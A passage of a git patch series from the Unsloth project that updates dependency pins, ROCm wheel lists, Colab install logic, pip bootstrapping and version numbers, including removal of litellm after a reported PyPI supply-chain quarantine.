platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/windows/rocm-rel-7.2/torch-2.9.1%2Brocmsdk20260116-cp312-cp312-win_amd64.whl ; sys_platform == 'win32' and python_version == '3.12'", - - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.24.0%2Brocm7.2.0.gitb919bd0c-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.24.0%2Brocm7.2.0.gitb919bd0c-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.24.0%2Brocm7.2.0.gitb919bd0c-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.24.0%2Brocm7.2.0.gitb919bd0c-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/windows/rocm-rel-7.2/torchvision-0.24.1%2Brocmsdk20260116-cp312-cp312-win_amd64.whl ; sys_platform == 'win32' and python_version == '3.12'", -] -rocm711-torch291 = [ - "unsloth[amd]", - - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.5.1%2Brocm7.1.1.gita272dfa8-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.5.1%2Brocm7.1.1.gita272dfa8-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.5.1%2Brocm7.1.1.gita272dfa8-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.5.1%2Brocm7.1.1.gita272dfa8-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.9.1%2Brocm7.1.1.lw.git351ff442-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.9.1%2Brocm7.1.1.lw.git351ff442-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.9.1%2Brocm7.1.1.lw.git351ff442-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.9.1%2Brocm7.1.1.lw.git351ff442-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.24.0%2Brocm7.1.1.gitb919bd0c-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.24.0%2Brocm7.1.1.gitb919bd0c-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.24.0%2Brocm7.1.1.gitb919bd0c-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.24.0%2Brocm7.1.1.gitb919bd0c-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", -] -rocm72-torch2100 = [ - "unsloth[amd]", - - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.6.0%2Brocm7.2.0.gitba5c1517-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.6.0%2Brocm7.2.0.gitba5c1517-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.6.0%2Brocm7.2.0.gitba5c1517-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/triton-3.6.0%2Brocm7.2.0.gitba5c1517-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.10.0%2Brocm7.2.0.lw.gitb6ee5fde-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.10.0%2Brocm7.2.0.lw.gitb6ee5fde-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.10.0%2Brocm7.2.0.lw.gitb6ee5fde-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torch-2.10.0%2Brocm7.2.0.lw.gitb6ee5fde-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", -] -rocm711-torch2100 = [ - "unsloth[amd]", - - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.6.0%2Brocm7.1.1.gitba5c1517-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.6.0%2Brocm7.1.1.gitba5c1517-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.6.0%2Brocm7.1.1.gitba5c1517-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/triton-3.6.0%2Brocm7.1.1.gitba5c1517-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.10.0%2Brocm7.1.1.lw.gitd9556b05-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.10.0%2Brocm7.1.1.lw.gitd9556b05-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.10.0%2Brocm7.1.1.lw.gitd9556b05-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torch @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torch-2.10.0%2Brocm7.1.1.lw.gitd9556b05-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp310-cp310-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", -] [project.urls] homepage = "http://www.unsloth.ai" documentation = "https://github.com/unslothai/unsloth" repository = "https://github.com/unslothai/unsloth" - -[tool.ruff] -target-version = "py311" -force-exclude = true -extend-exclude = [ - "*chat_templates.py", - "*ollama_template_mappers.py", - "*_auto_install.py", - "*mapper.py", -] - -[tool.ruff.lint] -select = ["E9", "F63", "F7", "F82"] -ignore = [ - "E402", - "E722", - "F403", - "F405", - "F811", - "F821", - "F841", - "F401", - "E731", - "E741", - "F601", - "E712", -] - -[tool.ruff.format] From ddf6f6d1f93a6edc1bfe57082edd1b8172123995 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 24 Mar 2026 07:10:26 -0700 Subject: [PATCH 02/39] fix(studio): remove litellm dep (quarantined on PyPI) (#4553) litellm has been quarantined on PyPI due to a supply chain attack in version 1.82.8 (malicious credential-stealing .pth file). No versions are currently installable, which blocks `unsloth studio setup` at step 8/11 (data-designer deps). Remove litellm from the single-env data-designer requirements so setup completes. litellm can be re-added once PyPI lifts the quarantine. Ref: https://github.com/BerriAI/litellm/issues/24512 --- studio/backend/requirements/single-env/data-designer-deps.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/studio/backend/requirements/single-env/data-designer-deps.txt b/studio/backend/requirements/single-env/data-designer-deps.txt index e0b3d8b72a..9cd0db99e4 100644 --- a/studio/backend/requirements/single-env/data-designer-deps.txt +++ b/studio/backend/requirements/single-env/data-designer-deps.txt @@ -8,7 +8,6 @@ httpx-retries<1,>=0.4.2 json-repair<1,>=0.48.0 jsonpath-rust-bindings<2,>=1.0 jsonschema<5,>=4.0.0 -litellm<1.80.12,>=1.73.6 lxml<7,>=6.0.2 marko<3,>=2.1.2 networkx<4,>=3.0 From 8b77451e75973a042116c38045caeb59cda7b950 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 25 Mar 2026 07:31:31 -0700 Subject: [PATCH 03/39] Update pyproject.toml --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index afa96bbbcf..e788cbd23d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -28,7 +28,7 @@ dependencies = [ "unsloth_zoo>=2026.3.4", "wheel>=0.42.0", "packaging", - "torch>=2.4.0", + "torch>=2.4.0,<2.11.0", "torchvision", "numpy", "tqdm", From 1c608e8ff78e8cbaff93d1e6e97716067d3e70d8 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 25 Mar 2026 16:13:30 +0000 Subject: [PATCH 04/39] Fix Colab dep install: relax == pins to >= to avoid breaking transformers studio.txt pins huggingface-hub==0.36.2 and datasets==4.3.0 which overwrite Colab's pre-installed versions and break its bundled transformers (is_offline_mode was removed in newer huggingface-hub). Relax == to >= in both colab.py and setup.sh Colab paths so pip keeps existing compatible versions instead of force-upgrading. --- studio/backend/colab.py | 19 ++++++++++++++++++- studio/setup.sh | 7 +++++-- 2 files changed, 23 insertions(+), 3 deletions(-) diff --git a/studio/backend/colab.py b/studio/backend/colab.py index ad9a7e98b2..53074066a7 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -30,15 +30,32 @@ def _pip_install_backend_deps() -> None: Used on Colab when the Studio venv does not exist (install.sh was not run). Reads the requirements from studio.txt next to this file. + + Strict ``==`` version pins are relaxed to ``>=`` so we do not clobber + Colab's pre-installed packages (e.g. huggingface-hub, datasets) with + versions that are incompatible with its bundled transformers. """ + import re import subprocess req_file = Path(__file__).parent / "requirements" / "studio.txt" if not req_file.exists(): return + + packages = [] + for line in req_file.read_text().splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + # Relax exact pins (==) to >= so pip keeps existing compatible versions + line = re.sub(r"==", ">=", line) + packages.append(line) + + if not packages: + return print("Installing Studio backend dependencies ...") subprocess.check_call( - [sys.executable, "-m", "pip", "install", "-q", "-r", str(req_file)], + [sys.executable, "-m", "pip", "install", "-q"] + packages, ) diff --git a/studio/setup.sh b/studio/setup.sh index dd758e49e8..682b5cb01a 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -295,9 +295,12 @@ VENV_T5_DIR="$STUDIO_HOME/.venv_t5" _COLAB_NO_VENV=false if [ ! -x "$VENV_DIR/bin/python" ]; then if [ "$IS_COLAB" = true ]; then - # On Colab there is no Studio venv -- install backend deps into system Python + # On Colab there is no Studio venv -- install backend deps into system Python. + # Relax strict == pins to >= so we don't clobber Colab's pre-installed + # packages (huggingface-hub, datasets) with incompatible versions. echo " Colab detected, installing Studio backend dependencies..." - pip install -q -r "$SCRIPT_DIR/backend/requirements/studio.txt" 2>/dev/null || true + sed 's/==/>=/' "$SCRIPT_DIR/backend/requirements/studio.txt" \ + | pip install -q -r /dev/stdin 2>/dev/null || true _COLAB_NO_VENV=true else echo "❌ ERROR: Virtual environment not found at $VENV_DIR" From 0bb6379aad1aab99e150180ce722128a4d4a471d Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 25 Mar 2026 16:15:29 +0000 Subject: [PATCH 05/39] Fix Colab huggingface-hub conflict and pip bootstrap on uv venvs - colab.py / setup.sh: relax == pins to >= when installing studio.txt on Colab so huggingface-hub 0.36.2 does not clobber Colab's bundled version (which breaks transformers is_offline_mode import) - install_python_stack.py: when uv is unavailable and pip is missing (uv-created venvs), bootstrap via ensurepip before attempting upgrade - Bump version to 2026.3.14 --- studio/install_python_stack.py | 23 +++++++++++++++++++---- unsloth/models/_utils.py | 2 +- 2 files changed, 20 insertions(+), 5 deletions(-) diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py index 39fec2e6f5..603ac162c9 100644 --- a/studio/install_python_stack.py +++ b/studio/install_python_stack.py @@ -373,10 +373,25 @@ def install_python_stack() -> int: ], ) else: - run( - "Upgrading pip", - [sys.executable, "-m", "pip", "install", "--upgrade", "pip"], - ) + # pip may not exist yet (uv-created venvs omit it). Try ensurepip + # first, then upgrade. Only fall back to a direct upgrade when pip + # is already present. + _has_pip = subprocess.run( + [sys.executable, "-m", "pip", "--version"], + stdout = subprocess.DEVNULL, + stderr = subprocess.DEVNULL, + ).returncode == 0 + + if not _has_pip: + run( + "Bootstrapping pip via ensurepip", + [sys.executable, "-m", "ensurepip", "--upgrade"], + ) + else: + run( + "Upgrading pip", + [sys.executable, "-m", "pip", "install", "--upgrade", "pip"], + ) # 3. Core packages: unsloth-zoo + unsloth (or custom package name) if skip_base: diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py index 1fffc62f81..da912dec76 100644 --- a/unsloth/models/_utils.py +++ b/unsloth/models/_utils.py @@ -12,7 +12,7 @@ # See the License for the specific language governing permissions and # limitations under the License. -__version__ = "2026.3.13" +__version__ = "2026.3.14" __all__ = [ "SUPPORTS_BFLOAT16", From d9d1a63397c6a94851dfc848c04765df4d687031 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 25 Mar 2026 16:36:25 +0000 Subject: [PATCH 06/39] Fix Colab huggingface-hub conflict, ensurepip fallback, bump to 2026.3.14 - Strip version constraints on Colab dep install - Upgrade huggingface-hub>=1.0 if is_offline_mode is missing - ensurepip fallback for uv venvs without pip - Bump installer pins to 2026.3.14 --- install.ps1 | 6 +++--- install.sh | 6 +++--- studio/backend/colab.py | 24 ++++++++++++++++++------ studio/setup.sh | 8 +++++--- 4 files changed, 29 insertions(+), 15 deletions(-) diff --git a/install.ps1 b/install.ps1 index 86e4288e8e..3ef251715e 100644 --- a/install.ps1 +++ b/install.ps1 @@ -607,7 +607,7 @@ shell.Run cmd, 0, False # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state # in the new venv location, while preserving existing torch/CUDA Write-Host "==> Upgrading unsloth in migrated environment..." - uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.3.12" unsloth-zoo + uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.3.14" unsloth-zoo if ($StudioLocalInstall) { Write-Host "==> Overlaying local repo (editable)..." uv pip install --python $VenvPython -e $RepoRoot --no-deps @@ -622,7 +622,7 @@ shell.Run cmd, 0, False Write-Host "==> Installing unsloth (this may take a few minutes)..." if ($StudioLocalInstall) { - uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.3.12" unsloth-zoo + uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.3.14" unsloth-zoo Write-Host "==> Overlaying local repo (editable)..." uv pip install --python $VenvPython -e $RepoRoot --no-deps } else { @@ -632,7 +632,7 @@ shell.Run cmd, 0, False # Fallback: GPU detection failed to produce a URL -- let uv resolve torch Write-Host "==> Installing unsloth (this may take a few minutes)..." if ($StudioLocalInstall) { - uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.3.12" --torch-backend=auto + uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.3.14" --torch-backend=auto Write-Host "==> Overlaying local repo (editable)..." uv pip install --python $VenvPython -e $RepoRoot --no-deps } else { diff --git a/install.sh b/install.sh index ebb5b1f9ae..a0f6ef2ee5 100755 --- a/install.sh +++ b/install.sh @@ -767,7 +767,7 @@ if [ "$_MIGRATED" = true ]; then echo "==> Upgrading unsloth in migrated environment..." uv pip install --python "$_VENV_PY" \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.3.12" unsloth-zoo + "unsloth>=2026.3.14" unsloth-zoo if [ "$STUDIO_LOCAL_INSTALL" = true ]; then echo "==> Overlaying local repo (editable)..." uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps @@ -781,7 +781,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then echo "==> Installing unsloth (this may take a few minutes)..." if [ "$STUDIO_LOCAL_INSTALL" = true ]; then uv pip install --python "$_VENV_PY" \ - --upgrade-package unsloth "unsloth>=2026.3.12" unsloth-zoo + --upgrade-package unsloth "unsloth>=2026.3.14" unsloth-zoo echo "==> Overlaying local repo (editable)..." uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps else @@ -792,7 +792,7 @@ else # Fallback: GPU detection failed to produce a URL -- let uv resolve torch echo "==> Installing unsloth (this may take a few minutes)..." if [ "$STUDIO_LOCAL_INSTALL" = true ]; then - uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.3.12" --torch-backend=auto + uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.3.14" --torch-backend=auto echo "==> Overlaying local repo (editable)..." uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps else diff --git a/studio/backend/colab.py b/studio/backend/colab.py index 53074066a7..a6fac0d413 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -31,9 +31,9 @@ def _pip_install_backend_deps() -> None: Used on Colab when the Studio venv does not exist (install.sh was not run). Reads the requirements from studio.txt next to this file. - Strict ``==`` version pins are relaxed to ``>=`` so we do not clobber - Colab's pre-installed packages (e.g. huggingface-hub, datasets) with - versions that are incompatible with its bundled transformers. + Version constraints are stripped entirely so pip keeps whatever Colab + already has installed (e.g. huggingface-hub, datasets, transformers) + and only installs genuinely missing packages like structlog, fastapi. """ import re import subprocess @@ -47,9 +47,10 @@ def _pip_install_backend_deps() -> None: line = line.strip() if not line or line.startswith("#"): continue - # Relax exact pins (==) to >= so pip keeps existing compatible versions - line = re.sub(r"==", ">=", line) - packages.append(line) + # Strip all version constraints -- just keep the package name + pkg_name = re.split(r"[><=!~;\[]", line)[0].strip() + if pkg_name: + packages.append(pkg_name) if not packages: return @@ -58,6 +59,17 @@ def _pip_install_backend_deps() -> None: [sys.executable, "-m", "pip", "install", "-q"] + packages, ) + # Colab ships huggingface-hub 0.36.x which removed is_offline_mode, + # breaking transformers. Upgrade to 1.0+ which restored it. + try: + from huggingface_hub import is_offline_mode # noqa: F401 + except ImportError: + print("Upgrading huggingface-hub (is_offline_mode missing) ...") + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "-q", + "huggingface-hub>=1.0"], + ) + def _bootstrap_studio_venv() -> None: """Expose the Studio venv's site-packages to the current interpreter. diff --git a/studio/setup.sh b/studio/setup.sh index 682b5cb01a..f103dd95a4 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -296,10 +296,12 @@ _COLAB_NO_VENV=false if [ ! -x "$VENV_DIR/bin/python" ]; then if [ "$IS_COLAB" = true ]; then # On Colab there is no Studio venv -- install backend deps into system Python. - # Relax strict == pins to >= so we don't clobber Colab's pre-installed - # packages (huggingface-hub, datasets) with incompatible versions. + # Strip all version constraints so pip keeps Colab's pre-installed + # packages (huggingface-hub, datasets, transformers) and only pulls + # in genuinely missing ones (structlog, fastapi, etc.). echo " Colab detected, installing Studio backend dependencies..." - sed 's/==/>=/' "$SCRIPT_DIR/backend/requirements/studio.txt" \ + sed 's/[><=!~;].*//' "$SCRIPT_DIR/backend/requirements/studio.txt" \ + | grep -v '^#' | grep -v '^$' \ | pip install -q -r /dev/stdin 2>/dev/null || true _COLAB_NO_VENV=true else From e568000a925da5c189407ce106bc2d0f9dff45d1 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 27 Mar 2026 07:23:42 -0700 Subject: [PATCH 07/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index e788cbd23d..97096dc9e5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.3.4", + "unsloth_zoo>=2026.3.6", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.3.4", + "unsloth_zoo>=2026.3.6", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.3.4", + "unsloth_zoo>=2026.3.6", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", From a728f7c308941ff64ff90567f44c723235d92d52 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Tue, 31 Mar 2026 06:51:58 -0700 Subject: [PATCH 08/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 97096dc9e5..66f385aabb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.3.6", + "unsloth_zoo>=2026.3.7", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.3.6", + "unsloth_zoo>=2026.3.7", "wheel>=0.42.0", "packaging", "torchvision", @@ -473,7 +473,7 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.3.6", + "unsloth_zoo>=2026.3.7", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", From 396aa05ead45d3bc03f545315c10881a68b67e32 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 2 Apr 2026 12:03:10 -0700 Subject: [PATCH 09/39] Update pyproject.toml --- pyproject.toml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 66f385aabb..d4a5fc3ff5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ "Topic :: Scientific/Engineering :: Artificial Intelligence", ] dependencies = [ - "unsloth_zoo>=2026.3.7", + "unsloth_zoo>=2026.4.2", "wheel>=0.42.0", "packaging", "torch>=2.4.0,<2.11.0", @@ -46,7 +46,7 @@ dependencies = [ "huggingface_hub>=0.34.0", "hf_transfer", "diffusers", - "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", + "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", "trl>=0.18.2,!=0.19.0,<=0.24.0", "typer", "pydantic", @@ -85,7 +85,7 @@ exclude = ["images*", "tests*", "kernels/moe*"] [project.optional-dependencies] huggingface = [ - "unsloth_zoo>=2026.3.7", + "unsloth_zoo>=2026.4.2", "wheel>=0.42.0", "packaging", "torchvision", @@ -101,7 +101,7 @@ huggingface = [ "huggingface_hub>=0.34.0", "hf_transfer", "diffusers", - "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", + "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", "trl>=0.18.2,!=0.19.0,<=0.24.0", "typer", "pydantic", @@ -473,10 +473,10 @@ colab-ampere-torch220 = [ "unsloth[flashattention]", ] colab-new = [ - "unsloth_zoo>=2026.3.7", + "unsloth_zoo>=2026.4.2", "packaging", "tyro", - "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.3.0", + "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", "datasets>=3.4.1,!=4.0.*,!=4.1.0,<4.4.0", "sentencepiece>=0.2.0", "tqdm", From b2580ae32bfba1c5caa3cd67427aad024adfd0a9 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 6 Apr 2026 09:21:23 -0700 Subject: [PATCH 10/39] Update pyproject.toml --- pyproject.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index d4a5fc3ff5..2c9ec4466a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers 